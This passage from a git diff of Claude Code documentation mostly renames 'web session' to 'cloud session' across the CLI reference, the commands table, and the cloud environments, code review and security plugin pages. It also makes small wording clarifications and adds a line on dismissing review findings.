CI status bar, and select **Auto-fix** +* **From your terminal**: run [`/autofix-pr`](/docs/en/commands) while on the PR's branch. Claude Code detects the open PR with `gh`, spawns a cloud session, and turns on auto-fix in one step * **From the mobile app**: tell Claude to auto-fix the PR, for example "watch this PR and fix any CI failures or review comments" * **Any existing PR**: paste the PR URL into a session and tell Claude to auto-fix it -Auto-fix is a per-PR toggle. To stop monitoring, open the CI status bar in the web session and clear the **Auto-fix** toggle, or tell Claude to stop watching the PR. +Auto-fix is a per-PR toggle. To stop monitoring, open the CI status bar in the session at claude.ai/code and clear the **Auto-fix** toggle, or tell Claude to stop watching the PR. ### How Claude responds to PR activity @@ -340,7 +350,7 @@ Run `/login` to sign in with your claude.ai account, then retry the command. If ### Environment expired -Cloud sessions stop after a period of inactivity and the session's VM is reclaimed. A session counts as inactive while it waits for you to approve an [MCP connector](/docs/en/cloud-environments#network-access) tool call or to sign in to an MCP server, and it can expire during that wait. On the web, the session is marked expired in the session list. +Cloud sessions stop after a period of inactivity and the session's VM is reclaimed. A session counts as inactive while it waits for you to approve an [MCP connector](/docs/en/cloud-environments#network-access) tool call or to sign in to an MCP server, and it can expire during that wait. Reopen the session from [claude.ai/code](https://claude.ai/code) to provision a fresh VM with your conversation history restored. Background work that was still running when the VM was reclaimed, such as subagents and shell commands, isn't restored. @@ -348,8 +358,8 @@ Reopen the session from [claude.ai/code](https://claude.ai/code) to provision a Before relying on cloud sessions for a workflow, account for these constraints: -* **Rate limits**: Claude Code on the web shares rate limits with all other Claude and Claude Code usage within your account. Running multiple tasks in parallel consumes more rate limits proportionately. There is no separate compute charge for the cloud VM. -* **Repository authentication**: you can only move sessions from web to local when you are authenticated to the same account +* **Rate limits**: cloud sessions share rate limits with all other Claude and Claude Code usage within your account. Running multiple tasks in parallel consumes more rate limits proportionately. There is no separate compute charge for the cloud VM. +* **Repository authentication**: you can only pull a cloud session into your terminal when you are authenticated to the same account * **Platform restrictions**: repository cloning and pull request creation require GitHub. Self-hosted [GitHub Enterprise Server](/docs/en/github-enterprise-server) instances are supported for Team and Enterprise plans. You can send a GitLab, Bitbucket, or other non-GitHub repository to a cloud session as a [local bundle](#send-local-repositories-without-github) by setting `CCR_FORCE_BUNDLE=1`, but the session can't push results back to that remote * **Organization IP allowlist**: cloud sessions call the Anthropic API from Anthropic-managed infrastructure, not your network, while sessions in a [self-hosted environment](/docs/en/self-hosted-environments) call it from your own network. If your organization has [IP allowlisting](https://support.claude.com/en/articles/13200993-restrict-access-to-claude-with-ip-allowlisting) enabled, every Anthropic-hosted cloud session fails with an authentication error. The same applies to [Code Review](/docs/en/code-review) and to [routines](/docs/en/routines) that run on Anthropic-hosted environments; a routine routed to a self-hosted environment calls the API from your own network. Contact [Anthropic support](https://support.claude.com/) to exempt Anthropic-hosted services from your organization's IP allowlist. diff --git a/content/en/docs/claude-code/claude-directory.md b/content/en/docs/claude-code/claude-directory.md index 0be7ad17bb..2a0c7c5d4c 100644 --- a/content/en/docs/claude-code/claude-directory.md +++ b/content/en/docs/claude-code/claude-directory.md @@ -1512,7 +1512,7 @@ If a setting, hook, or file isn't taking effect, see [Debug your configuration]( ## Application data -Beyond the config you author, `~/.claude` holds data Claude Code writes during sessions. These files are plaintext. Anything that passes through a tool lands in a transcript on disk: file contents, command output, pasted text. +Beyond the config you author, `~/.claude` holds data Claude Code writes during sessions. These files are plaintext. Anything that passes through a tool is written to a transcript on disk: file contents, command output, pasted text. ### Cleaned up automatically diff --git a/content/en/docs/claude-code/claude-platform-on-aws.md b/content/en/docs/claude-code/claude-platform-on-aws.md index 4356bf6fa3..54be84b050 100644 --- a/content/en/docs/claude-code/claude-platform-on-aws.md +++ b/content/en/docs/claude-code/claude-platform-on-aws.md @@ -251,7 +251,7 @@ The key is sent as `x-api-key` and takes precedence over SigV4, so any AWS crede Treat workspace API keys like any other production credential. The [user settings file](/docs/en/settings) `env` block is a convenient way to scope the key to your machine without exporting it globally. - The `/login` and `/logout` commands don't sign you into a Claude.ai subscription for Claude Platform on AWS. Authentication runs through your AWS credentials or workspace API key. + The `/login` and `/logout` commands don't sign you into a claude.ai subscription for Claude Platform on AWS. Authentication runs through your AWS credentials or workspace API key. ### 2. Configure Claude Code diff --git a/content/en/docs/claude-code/claude-security.md b/content/en/docs/claude-code/claude-security.md index b14e21b1a2..8a99080b43 100644 --- a/content/en/docs/claude-code/claude-security.md +++ b/content/en/docs/claude-code/claude-security.md @@ -62,11 +62,11 @@ The plugin adds one command, `/claude-security`, which opens a menu of its three - While the scan runs, it reports each stage as it starts, with the detail available under [`/workflows`](/docs/en/workflows). Results land in a timestamped directory in your repository, described in [Read the scan results](#read-the-scan-results). + While the scan runs, it reports each stage as it starts, with the detail available under [`/workflows`](/docs/en/workflows). Results are written to a timestamped directory in your repository, described in [Read the scan results](#read-the-scan-results). - Run `/claude-security` again and pick **Suggest patches**, then choose which findings to address. Reviewed patches land in the report's `patches/` folder; [Fix findings](#fix-findings) covers how each patch is built and reviewed. + Run `/claude-security` again and pick **Suggest patches**, then choose which findings to address. Reviewed patches are written to the report's `patches/` folder; [Fix findings](#fix-findings) covers how each patch is built and reviewed. @@ -107,7 +107,7 @@ Before delivery, each patch is reviewed by an agent independent of the one that ### Patches are never applied automatically -Applying a patch is always your decision. Patches land in the report's `patches/` folder, one `F.patch` per finding with a note beside it explaining the change. Apply one from your shell, or ask Claude to apply it and open a pull request: +Applying a patch is always your decision. Patches are written to the report's `patches/` folder, one `F.patch` per finding with a note beside it explaining the change. Apply one from your shell, or ask Claude to apply it and open a pull request: ```bash theme={null} git apply CLAUDE-SECURITY-/patches/F1.patch diff --git a/content/en/docs/claude-code/cli-reference.md b/content/en/docs/claude-code/cli-reference.md index 3e3c1536f2..f130109d7b 100644 --- a/content/en/docs/claude-code/cli-reference.md +++ b/content/en/docs/claude-code/cli-reference.md @@ -74,7 +74,7 @@ Customize Claude Code's behavior with these command-line flags. `claude --help` | `--bg`, `--background` | Start the session as a [background agent](/docs/en/agent-view) and return immediately. Prints the session ID and management commands. Combine with `--exec` to run a shell command as a background job instead of a Claude session, or with `--agent` to run a specific subagent. Can't be combined with `-p`/`--print`; see the [error reference](/docs/en/errors#command-line-errors) | `claude --bg "investigate the flaky test"` | | `--channels` | (Research preview) MCP servers whose [channel](/docs/en/channels) notifications Claude should listen for in this session. Space-separated list of `plugin:@` entries. Requires Anthropic authentication through claude.ai or a Console API key | `claude --channels plugin:my-notifier@my-marketplace` | | `--chrome` | Enable [Chrome browser integration](/docs/en/chrome) for web automation and testing | `claude --chrome` | -| `--cloud` | With a task description, create a new [web session](/docs/en/claude-code-on-the-web) on claude.ai. With a session ID (`session_...` or `cse_...`) or a claude.ai/code URL, queue a message into that existing session instead, with `-p`. See [send a follow-up message](/docs/en/claude-code-on-the-web#send-follow-ups-from-the-cli). | `claude --cloud "Fix the login bug"` | +| `--cloud` | With a task description, create a new [cloud session](/docs/en/claude-code-on-the-web). With a session ID (`session_...` or `cse_...`) or a claude.ai/code URL, queue a message into that existing session instead, with `-p`. See [send a follow-up message](/docs/en/claude-code-on-the-web#send-follow-ups-from-the-cli). | `claude --cloud "Fix the login bug"` | | `--continue`, `-c` | Load the most recent conversation in the current directory, including a [background session that has finished](/docs/en/sessions#resume-a-session); opening finished background sessions requires Claude Code v2.1.257 or later. Skips sessions created with `claude -p` or the Agent SDK, and sessions whose first prompt was `/loop`. `claude -p --continue` includes `-p`, SDK, and `/loop` sessions. Includes sessions that added this directory with `/add-dir` | `claude --continue` | | `--dangerously-load-development-channels` | Enable [channels](/docs/en/channels-reference#test-during-the-research-preview) that are not on the approved allowlist, for local development. Accepts `plugin:@` and `server:` entries. Prompts for confirmation | `claude --dangerously-load-development-channels server:webhook` | | `--dangerously-skip-permissions` | Skip permission prompts. Equivalent to `--permission-mode bypassPermissions`. See [permission modes](/docs/en/permission-modes#skip-all-checks-with-bypasspermissions-mode) for what this does and does not skip. For sessions started with `--bg`, the mode [persists when the supervisor restarts the session](/docs/en/agent-view#permission-mode-model-and-effort) | `claude --dangerously-skip-permissions` | @@ -129,7 +129,7 @@ Customize Claude Code's behavior with these command-line flags. `claude --help` | `--system-prompt` | Replace the entire system prompt with custom text | `claude --system-prompt "You are a Python expert"` | | `--system-prompt-file` | Load system prompt from a file, replacing the default prompt | `claude --system-prompt-file ./custom-prompt.txt` | | `--system-prompt-snapshot` | Pass `off` to rebuild the system prompt on every request instead of reusing the prompt [recorded on the conversation's first request](#system-prompt-flags-in-resumed-conversations), for example while you iterate on `--append-system-prompt` text across `--continue` runs. Requires Claude Code v2.1.257 or later | `claude --system-prompt-snapshot off` | -| `--teleport` | Resume a [web session](/docs/en/claude-code-on-the-web) in your local terminal | `claude --teleport` | +| `--teleport` | Resume a [cloud session](/docs/en/claude-code-on-the-web) in your local terminal | `claude --teleport` | | `--teammate-mode` | Set how [agent team](/docs/en/agent-teams) teammates display: `in-process` (default), `auto`, `tmux`, or `iterm2` (added in v2.1.186). Overrides the [`teammateMode`](/docs/en/settings-reference#teammatemode) setting for this session. See [Choose a display mode](/docs/en/agent-teams#choose-a-display-mode) | `claude --teammate-mode auto` | | `--tmux` | Create a tmux session for the worktree. Requires `--worktree`. Uses iTerm2 native panes when available; pass `--tmux=classic` for traditional tmux | `claude -w feature-auth --tmux` | | `--tools` | Restrict which built-in tools Claude can use. Use `""` to disable all, `"default"` for the default set, or tool names like `"Bash,Edit,Read"`. On macOS, Linux, and WSL, the default set leaves out `Glob` and `Grep`, as described under [Glob tool behavior](/docs/en/tools-reference#glob-tool-behavior). If you name one of the [task-tracking tools](/docs/en/tools-reference#task-tool-availability) here, Claude Code also opts the session in. The flag doesn't affect MCP tools; to deny those too, use `--disallowedTools "mcp__*"`. A list that omits [`EndConversation`](/docs/en/tools-reference#endconversation-tool-behavior) doesn't remove it; `""` removes it only when no MCP tools remain | `claude --tools "Bash,Edit,Read"` | diff --git a/content/en/docs/claude-code/cloud-environments.md b/content/en/docs/claude-code/cloud-environments.md index 7896b66dc1..e14704d13d 100644 --- a/content/en/docs/claude-code/cloud-environments.md +++ b/content/en/docs/claude-code/cloud-environments.md @@ -7,12 +7,12 @@ > Configure cloud environments for Claude Code cloud sessions: network access levels, environment variables, setup scripts, and environment caching. - Cloud environments require [Claude Code on the web](/docs/en/claude-code-on-the-web), which is in research preview for Pro, Max, and Team users, and for Enterprise users with [premium seats or Chat + Claude Code seats](https://support.claude.com/en/articles/11845131-use-claude-code-with-your-team-or-enterprise-plan). + Cloud environments apply to [cloud sessions](/docs/en/claude-code-on-the-web), which are in research preview for Pro, Max, and Team users, and for Enterprise users with [premium seats or Chat + Claude Code seats](https://support.claude.com/en/articles/11845131-use-claude-code-with-your-team-or-enterprise-plan). Each [cloud session](/docs/en/claude-code-on-the-web) runs in a cloud environment. You can configure an environment to allow or deny [network access](#access-levels), [set environment variables](#set-environment-variables) for the session, on Pro and Max plans store [API credentials](#add-api-credentials) that sessions use without seeing them, and run a [setup script](#setup-scripts) before Claude starts working. -The same environments apply wherever you start a cloud session: [Claude Code on the web](/docs/en/claude-code-on-the-web), the terminal with [`claude --cloud`](/docs/en/claude-code-on-the-web#from-terminal-to-web), [Claude Tag](https://claude.com/docs/claude-tag/overview), [routines](/docs/en/routines), the [Claude mobile app](/docs/en/mobile), and the [Desktop app](/docs/en/desktop). Each of these surfaces can also route to a [self-hosted environment](/docs/en/self-hosted-environments). [Availability and limitations](/docs/en/self-hosted-environments#availability-and-limitations) covers what Claude can't use yet when a Claude Tag session runs in one. +The same environments apply wherever you start a cloud session: the [Desktop app](/docs/en/desktop), the [Claude mobile app](/docs/en/mobile), your browser at [claude.ai/code](https://claude.ai/code), the terminal with [`claude --cloud`](/docs/en/claude-code-on-the-web#from-terminal-to-cloud), [routines](/docs/en/routines), and [Claude Tag](https://claude.com/docs/claude-tag/overview). Each of these surfaces can also route to a [self-hosted environment](/docs/en/self-hosted-environments). [Availability and limitations](/docs/en/self-hosted-environments#availability-and-limitations) covers what Claude can't use yet when a Claude Tag session runs in one. [Remote Control](/docs/en/remote-control) sessions connect the web and mobile interfaces to a session on your own machine, which uses your machine's network and files, not a cloud environment. Claude Tag channel sessions use organization-level environments only, either [shared environments](#organization-shared-environments) or [self-hosted environments](/docs/en/self-hosted-environments). @@ -33,7 +33,7 @@ If you don't have an environment yet, onboarding sets up the **Default** environ With only **Default** available, every session runs in it. When you have more than one environment, sessions choose one per surface: -* On the web, the Desktop app, and the mobile app, sessions use the environment shown in the [selector](#configure-your-environment). An [organization default](#organization-shared-environments) set by an Owner fills the selection when you haven't picked one. +* In the Desktop app, the mobile app, and at claude.ai/code, sessions use the environment shown in the [selector](#configure-your-environment). An [organization default](#organization-shared-environments) set by an Owner fills the selection when you haven't picked one. * From the CLI, Claude Code uses your [`/remote-env` pick](#select-an-environment-from-the-cli), or falls back to the Anthropic-hosted environment when your list has one, and otherwise to the first environment in your list that isn't a bridge environment, an entry [Remote Control](/docs/en/remote-control) registers to represent your own machine rather than a cloud environment. For a [self-hosted environment](/docs/en/self-hosted-environments), passing `--environment ` with its `ccpool_` ID [when you dispatch a session](/docs/en/self-hosted-environments-testing#run-the-test-loop) overrides the `/remote-env` pick and the fallback for that invocation. Claude Code rejects Anthropic-hosted `env_` IDs passed to the flag, so use `/remote-env` to target those. The flag requires Claude Code v2.1.224 or later. Configure an environment when the default isn't enough: when Claude needs to reach domains outside the [default allowlist](#default-allowed-domains), needs environment variables set for its sessions, or needs dependencies installed before it starts working. @@ -74,7 +74,7 @@ DATABASE_URL=postgres://localhost:5432/myapp Each session copies the environment's values once, at startup, into ordinary environment variables that any command Claude runs can read. Because running sessions don't re-read the configuration, editing or adding variables affects sessions you start afterward; sessions already running keep the values they started with. -Claude Code on the web also sets some variables itself when it starts a session. For [`CLAUDE_AUTOCOMPACT_PCT_OVERRIDE`](/docs/en/claude-code-on-the-web#manage-context), the value Claude Code on the web sets overrides one you add here, so adding that key here has no effect. +A cloud session also sets some variables itself when it starts. For [`CLAUDE_AUTOCOMPACT_PCT_OVERRIDE`](/docs/en/claude-code-on-the-web#manage-context), the value the session sets overrides one you add here, so adding that key here has no effect. Anyone who uses the environment can read the values. On Pro and Max plans, use an [API credential](#add-api-credentials) instead for a key the agent proxy can attach to a request. The [requests that never get a credential](#requests-that-never-get-the-credential) are listed there. @@ -136,7 +136,7 @@ The agent proxy never attaches a credential you add to these requests: ### Select an environment from the CLI -Run `/remote-env` in your terminal to choose the default environment for cloud sessions you create from the CLI, such as [`claude --cloud`](/docs/en/claude-code-on-the-web#from-terminal-to-web). The command opens a picker of your existing environments and saves your choice to the `remote.defaultEnvironmentId` key in your [user settings](/docs/en/settings#where-settings-live), so it applies in every project on your machine until you change it, unless the same key is set at a higher-precedence [settings layer](/docs/en/settings#settings-precedence), such as a repo's project settings. +Run `/remote-env` in your terminal to choose the default environment for cloud sessions you create from the CLI, such as [`claude --cloud`](/docs/en/claude-code-on-the-web#from-terminal-to-cloud). The command opens a picker of your existing environments and saves your choice to the `remote.defaultEnvironmentId` key in your [user settings](/docs/en/settings#where-settings-live), so it applies in every project on your machine until you change it, unless the same key is set at a higher-precedence [settings layer](/docs/en/settings#settings-precedence), such as a repo's project settings. A [self-hosted environment](/docs/en/self-hosted-environments) ID, which has the form `ccpool_...`, follows a stricter source rule. See [`remote.defaultEnvironmentId`](/docs/en/settings-reference#remote-defaultenvironmentid) for the settings layers Claude Code honors it from. @@ -289,7 +289,7 @@ Cloud sessions come with common language runtimes, build tools, and databases pr ¹ Bun is installed but has known [proxy compatibility issues](#install-dependencies-with-a-sessionstart-hook) for package fetching. -To get the versions of most of the tools in this table, ask Claude to run `check-tools` in a cloud session. It's a shell command installed on the session VM, not a slash command; you ask Claude because [Claude runs all VM commands for you](#run-tests-start-services-and-add-packages). For a tool it doesn't report, such as Ruby, PHP, bun, PostgreSQL, or Redis, ask Claude to run the tool's own version command, for example `psql --version`. +To get the versions of most of the tools in this table, ask Claude to run `check-tools` in a cloud session. It's a shell command installed on the session VM, not a command you type with `/`; you ask Claude because [Claude runs all VM commands for you](#run-tests-start-services-and-add-packages). For a tool it doesn't report, such as Ruby, PHP, bun, PostgreSQL, or Redis, ask Claude to run the tool's own version command, for example `psql --version`. Node.js versions are installed at `/opt/node20`, `/opt/node21`, and `/opt/node22`, with 22 on `PATH` by default. To work with a different version, ask Claude to prepend that version's `bin` directory, such as `/opt/node20/bin`, to `PATH`. @@ -458,7 +458,7 @@ Together, the two files give every cloud session a fresh `npm install` and `pip SessionStart hooks behave the same in the cloud as locally, with these caveats: -* **No cloud-only scoping**: hooks run in both local and cloud sessions. To skip local execution, check the `CLAUDE_CODE_REMOTE` environment variable as shown above. +* **No cloud-only scoping**: hooks run in both local and cloud sessions. To skip local execution, exit early unless the `CLAUDE_CODE_REMOTE` environment variable is `true`, the way the [dependency install script](#install-dependencies-with-a-sessionstart-hook) does. * **Requires network access**: install commands need to reach package registries. If your environment uses **None** network access, these hooks fail. The [default allowlist](#default-allowed-domains) under **Trusted** covers npm, PyPI, RubyGems, and crates.io. * **Proxy compatibility**: in Anthropic-hosted environments, all outbound traffic passes through a [security proxy](#security-proxy), and some package managers don't work correctly with it; Bun is a known example. In a [self-hosted environment](/docs/en/self-hosted-environments-deploy#default-deny-egress), outbound traffic goes through your own network boundary instead. * **Adds startup latency**: hooks run each time a session starts or resumes, unlike setup scripts which benefit from [environment caching](#environment-caching). Keep install scripts fast by checking whether dependencies are already present before reinstalling. @@ -723,8 +723,8 @@ With **Trusted** network access, sessions can reach the following domains by def ## Related resources -* [Claude Code on the web](/docs/en/claude-code-on-the-web): start, manage, and share cloud sessions -* [Web quickstart](/docs/en/web-quickstart): connect GitHub and start your first cloud session +* [Cloud sessions reference](/docs/en/claude-code-on-the-web): start, manage, and share cloud sessions +* [Cloud sessions quickstart](/docs/en/web-quickstart): connect GitHub and start your first cloud session * [Claude Tag](https://claude.com/docs/claude-tag/overview): sessions Claude starts from Slack run in the same environments * [Routines](/docs/en/routines): scheduled runs use the same environments and network access levels * [Remote Control](/docs/en/remote-control): run sessions on your own machine's network and files instead diff --git a/content/en/docs/claude-code/code-review.md b/content/en/docs/claude-code/code-review.md index b426551d98..d48a9098da 100644 --- a/content/en/docs/claude-code/code-review.md +++ b/content/en/docs/claude-code/code-review.md @@ -52,6 +52,8 @@ Each review comment from Claude arrives with 👍 and 👎 already attached so b Replying to an inline comment does not prompt Claude to respond or update the PR. To act on a finding, fix the code and push. If the PR is subscribed to push-triggered reviews, the next run resolves the thread when the issue is fixed. To request a fresh review without pushing, comment `@claude review` as a [top-level PR comment](#manually-trigger-reviews). +To dismiss a finding without a code change, resolve its thread; replying doesn't dismiss it. + ### Check run output Beyond the inline review comments, each review populates the **Claude Code Review** check run that appears alongside your CI checks. Expand its **Details** link to see a summary of every finding in one place, sorted by severity: @@ -319,7 +321,7 @@ The [`/code-review` command](/docs/en/commands) reviews a diff in your terminal -Claude reports the findings as text in the reply in both of these runs, even when a host application requests the findings list described below: +Claude reports the findings as text in the reply in both of these runs, even when a host application requests a findings list: * In a terminal session, where `/code-review` runs the review as a [forked subagent](/docs/en/skills#run-skills-in-a-subagent) * In a `-p` run with text or JSON output diff --git a/content/en/docs/claude-code/commands.md b/content/en/docs/claude-code/commands.md index c28dbc8e73..06954c5e3d 100644 --- a/content/en/docs/claude-code/commands.md +++ b/content/en/docs/claude-code/commands.md @@ -26,7 +26,7 @@ Most commands are useful at a specific point in a session, from setting up a pro **Before you ship.** `/diff` shows what changed. `/code-review` checks the current diff for correctness bugs and cleanups and can apply the findings with `--fix`; pass a PR number, such as `/code-review high 1234`, to review a pull request instead. `/review` is an alias. `/code-review ultra` runs a multi-agent review in the cloud. `/security-review` checks the diff for security vulnerabilities. -**Between sessions.** `/clear` starts fresh on a new task while keeping project memory. `/resume` returns to an earlier conversation, `/branch` branches the current one to try a different direction, and `/fork` copies it into a new [background session](/docs/en/agent-view). `/teleport` pulls a web session into this terminal, and `/remote-control` lets you continue this local session from another device. +**Between sessions.** `/clear` starts fresh on a new task while keeping project memory. `/resume` returns to an earlier conversation, `/branch` branches the current one to try a different direction, and `/fork` copies it into a new [background session](/docs/en/agent-view). `/teleport` pulls a cloud session into this terminal, and `/remote-control` lets you continue this local session from another device. **When something is wrong.** `/rewind` rolls code and conversation back to a checkpoint, or summarizes part of the conversation. `/doctor` runs a setup checkup that diagnoses installation and configuration issues and can fix them, `/debug` diagnoses runtime issues, and `/feedback` reports a bug with session context attached. @@ -55,7 +55,7 @@ In the table below, `` indicates a required argument and `[arg]` indicates | `/artifacts` | List the [artifacts](/docs/en/artifacts#find-an-artifact-again) you own or that are shared with you, then attach one to the session, open it in your browser, or copy its link. Available where [artifacts](/docs/en/artifacts#availability) are. Requires Claude Code v2.1.208 or later; attaching with `Enter` requires v2.1.216 | | `/auto-mode-setup` | [Draft `autoMode.environment` entries](/docs/en/auto-mode-config#generate-environment-entries) from your project and recent sessions, then review the draft and save it to your user settings. Requires a Pro, Max, or Team plan and Claude Code v2.1.228 or later. On native Windows, requires v2.1.233 or later | | `/autocompact [auto\|]` | Set the auto-compact window: how full the context window gets before Claude Code compacts automatically. Pass a size such as `500k`, or `auto` to return to the window tuned for your model. Claude Code saves the value to user settings and applies it to the current session. See [Set the auto-compact window](/docs/en/model-config#set-the-auto-compact-window) for accepted values and what overrides it. Without an argument, opens a dialog that shows the current window. Requires Claude Code v2.1.221 or later | -| `/autofix-pr [prompt]` | Spawn a [Claude Code on the web](/docs/en/claude-code-on-the-web#auto-fix-pull-requests) session that watches the current branch's PR and pushes fixes when CI fails or reviewers leave comments. Detects the open PR from your checked-out branch with `gh pr view`; to watch a different PR, check out its branch first. By default the cloud session is told to fix every CI failure and review comment; pass a prompt to give it different instructions, for example `/autofix-pr only fix lint and type errors`. Requires the `gh` CLI and access to [Claude Code on the web](/docs/en/claude-code-on-the-web) | +| `/autofix-pr [prompt]` | Spawn a [cloud session](/docs/en/claude-code-on-the-web#auto-fix-pull-requests) that watches the current branch's PR and pushes fixes when CI fails or reviewers leave comments. Detects the open PR from your checked-out branch with `gh pr view`; to watch a different PR, check out its branch first. By default the cloud session is told to fix every CI failure and review comment; pass a prompt to give it different instructions, for example `/autofix-pr only fix lint and type errors`. Requires the `gh` CLI and access to [cloud sessions](/docs/en/claude-code-on-the-web) | | `/background [prompt]` | Detach the current session to run as a [background agent](/docs/en/agent-view) and free this terminal. Pass a prompt to send one more instruction before detaching. Monitor the session with `claude agents`. To copy the conversation into a new background session while this one keeps running, use `/fork`. Alias: `/bg` | | `/batch ` | **[Skill](/docs/en/skills#bundled-skills).** Orchestrate large-scale changes across a codebase in parallel. Researches the codebase, decomposes the work into 5 to 30 independent units, and presents a plan. Once approved, spawns one [background subagent](/docs/en/sub-agents#run-subagents-in-foreground-or-background) per unit in an isolated [git worktree](/docs/en/worktrees). Each subagent implements its unit, runs tests, and opens a pull request. Requires a git repository. Example: `/batch migrate src/ from JavaScript to TypeScript` | | `/branch [name]` | Create a branch of the current conversation at this point, so you can try a different direction without losing the conversation as it stands. Switches you into the branch and preserves the original, which you can return to with `/resume`. To run a copy as a separate [background session](/docs/en/agent-view) instead of switching into it, use `/fork`; to hand a side task to a [subagent](/docs/en/sub-agents) that reports back into this conversation, use `/subtask` | @@ -122,7 +122,7 @@ In the table below, `` indicates a required argument and `[arg]` indicates | `/reload-plugins [--force]` | Reload all active [plugins](/docs/en/plugins) to apply pending changes without restarting. Reports counts for each reloaded component and flags any load errors. When the reload would change which MCP tools are loaded and invalidate the prompt cache, the command warns and skips unless you pass `--force`. Also available in non-interactive mode (`-p`), the Agent SDK, and the desktop app, where it runs only on input typed directly into the session and doesn't apply plugin MCP server changes; requires Claude Code v2.1.260 or later. See [Apply plugin changes without restarting](/docs/en/discover-plugins#apply-plugin-changes-without-restarting) | | `/reload-skills` | Re-scan [skill](/docs/en/skills) and command directories so skills added or changed on disk during the session become available without restarting. Reports how many skills are available and how many were added or removed | | `/remote-control` | Make this session available for [Remote Control](/docs/en/remote-control) from claude.ai. Running it while signed out prints that Remote Control requires a claude.ai subscription and tells you how to sign in; before v2.1.206 it reported `Unknown command: /remote-control`. Alias: `/rc` | -| `/remote-env` | Choose the default environment for [cloud agents](/docs/en/cloud-environments#select-an-environment-from-the-cli) | +| `/remote-env` | Choose the default [cloud environment](/docs/en/cloud-environments#select-an-environment-from-the-cli) for cloud sessions you start from the CLI | | `/rename [name]` | Rename the current session and show the name on the prompt bar. Without a name, auto-generates one from conversation history. Also available in non-interactive mode (`-p`); requires Claude Code v2.1.205 or later. From every rename surface, including claude.ai and the desktop app, Claude Code replaces control and invisible characters in the new name with spaces and caps the name at 200 characters. If the name is empty once invisible characters are removed, Claude Code rejects it and shows `That name is empty once invisible characters are removed. Usage: /rename `. The character replacement and length cap require Claude Code v2.1.221 or later. If another live session on this machine already uses a name you pass, Claude Code applies [a variant of it](/docs/en/sessions#name-your-sessions) instead | | `/resume [session]` | Resume a conversation by ID or name, or open the session picker. [Background sessions](/docs/en/agent-view) appear in the picker marked with `bg`; one that is still running can't be resumed here, so attach to it from `claude agents` or stop it there first. Alias: `/continue` | | `/review [low\|medium\|high\|xhigh\|max\|ultra] [--fix] [--comment] [pr#\|branch\|path]` | Alias of [`/code-review`](/docs/en/code-review#review-a-diff-locally): reviews the current diff, or a PR number, branch, or path you pass, such as `/review 1234`, and takes the same effort levels and flags. With no level given, the review reuses the last `low` through `max` level you typed; see [Review a diff locally](/docs/en/code-review#review-a-diff-locally) for the exact rules. For a deep cloud review, use [`/code-review ultra`](/docs/en/ultrareview). Before v2.1.223, `/review` was a separate command that ran a single-pass, read-only review of a GitHub pull request by number, listing open PRs to pick from when run with no argument; from v2.1.186 through v2.1.201, it ran the same multi-agent engine as `/code-review medium` | @@ -146,11 +146,11 @@ In the table below, `` indicates a required argument and `[arg]` indicates | `/subtask ` | Spawn a [forked subagent](/docs/en/sub-agents#fork-the-current-conversation): a background subagent that inherits the full conversation and works on the task while you keep working. Its result returns to this conversation when it finishes. To copy the conversation into a separate background session instead, use `/fork`. Requires Claude Code v2.1.212 or later; on v2.1.161 through v2.1.211 this command is `/fork`. When [agent view is turned off](/docs/en/agent-view#turn-off-agent-view), `/subtask` isn't available and `/fork` keeps the forked-subagent behavior | | `/tasks` | View and manage background work in the current session, including subagents that have finished. Also available as `/bashes` | | `/team-onboarding` | Generate a team onboarding guide from your Claude Code usage history. Claude analyzes your sessions, commands, and MCP server usage from the past 30 days and produces a markdown guide a teammate can paste as a first message to get set up quickly. For claude.ai subscribers on Pro, Max, Team, and Enterprise plans, also returns a share link teammates can open directly in Claude Code | -| `/teleport` | Pull a [Claude Code on the web](/docs/en/claude-code-on-the-web#from-web-to-terminal) session into this terminal. Opens a picker, then fetches the branch and conversation. Also available as `/tp`. Requires a claude.ai subscription | +| `/teleport` | Pull a [cloud session](/docs/en/claude-code-on-the-web#from-cloud-to-terminal) into this terminal. Opens a picker, then fetches the branch and conversation. Also available as `/tp`. Requires a claude.ai subscription | | `/terminal-setup` | [Install a Shift+Enter keybinding for newlines](/docs/en/terminal-config#enter-multiline-prompts) in VS Code, Cursor, Devin Desktop, Alacritty, or Zed. In Apple Terminal, [enable Option+Enter for newlines and turn off the audible bell](/docs/en/terminal-config#enable-option-key-shortcuts-on-macos) instead. In iTerm2, [turn on clipboard access so that `/copy` works](/docs/en/terminal-config#enable-option-key-shortcuts-on-macos) | | `/theme` | Change the color theme. Includes an `auto` option that matches your terminal's light or dark background, light and dark variants, colorblind-accessible (daltonized) themes, ANSI themes that use your terminal's color palette, and any [custom themes](/docs/en/terminal-config#create-a-custom-theme) from `~/.claude/themes/` or plugins. Select **New custom theme…** to create one | | `/tui [default\|fullscreen]` | Set the terminal UI renderer and relaunch into it with your conversation intact. `fullscreen` enables the [flicker-free alt-screen renderer](/docs/en/fullscreen). With no argument, prints the active renderer | -| `/ultraplan ` | Removed. Use [plan mode](/docs/en/permission-modes#analyze-before-you-edit-with-plan-mode) instead. Previously sent a planning task to a [Claude Code on the web](/docs/en/claude-code-on-the-web) session for review in your browser | +| `/ultraplan ` | Removed. Use [plan mode](/docs/en/permission-modes#analyze-before-you-edit-with-plan-mode) instead. Previously sent a planning task to a [cloud session](/docs/en/claude-code-on-the-web) for review in your browser | | `/ultrareview [PR or branch]` | Run a deep, multi-agent code review in a cloud sandbox with [ultrareview](/docs/en/ultrareview). Pass a PR reference to review that pull request, or a branch name to change the comparison base. The preferred invocation is now `/code-review ultra`, and `/ultrareview` remains as an alias. Includes 3 free runs on Pro and Max, then requires [usage credits](https://support.claude.com/en/articles/12429409-extra-usage-for-paid-claude-plans) | | `/upgrade` | Open the upgrade page in your browser to switch to a higher plan tier. When the browser fails to open, the command shows a sign-in prompt without printing the URL | | `/usage` | Show session cost, plan usage limits, and activity stats. On a Pro, Max, Team, or Enterprise plan, includes a [breakdown of what counts against your plan limits](/docs/en/costs#plan-usage-breakdown). `/cost` and `/stats` are aliases | @@ -158,7 +158,7 @@ In the table below, `` indicates a required argument and `[arg]` indicates | `/verify` | **[Skill](/docs/en/skills#bundled-skills).** Confirm a code change does what it should by building your project's app, running it, and observing the result, rather than relying on tests or type checks. See [Run and verify your app](/docs/en/skills#run-and-verify-your-app) | | `/vim` | Removed in v2.1.92. To toggle between Vim and Normal editing modes, use `/config` → Editor mode | | `/voice [hold\|tap\|off]` | Toggle [voice dictation](/docs/en/voice-dictation), or enable it in a specific mode. Requires a Claude.ai account | -| `/web-setup` | Connect your GitHub account to [Claude Code on the web](/docs/en/web-quickstart#connect-from-your-terminal) using your local `gh` CLI credentials | +| `/web-setup` | Connect your GitHub account for [cloud 